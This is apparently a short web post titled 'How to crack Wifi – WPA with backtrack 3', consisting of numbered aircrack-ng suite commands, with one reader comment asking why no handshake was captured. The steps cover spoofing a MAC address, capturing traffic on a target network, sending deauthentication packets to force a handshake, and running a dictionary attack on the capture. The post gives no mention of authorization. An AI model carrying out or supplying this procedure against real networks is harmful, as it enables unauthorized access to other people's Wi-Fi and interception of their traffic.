How to crack Wifi – WPA with backtrack 3 :
Steps :
1. airmon-ng stop wlan0
2. ifconfig wlan0 down
3. macchanger –mac 00:11:22:33:44:55 wlan0
4. airmon-ng start wlan0
5. airodump-ng wlan0
6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
7. aireplay-ng -0 5 -a (bssid)wlan0
8. aircrack-ng (filename-01.cap)-w (dictionary location)
9. and you are done!

One Comment
Tutorial on wpa crack well explained I have followed it but I do not get the handshake How long should I expect to wait after the Deuth attack I am using an Alfa Realtek antenna Any other ideas please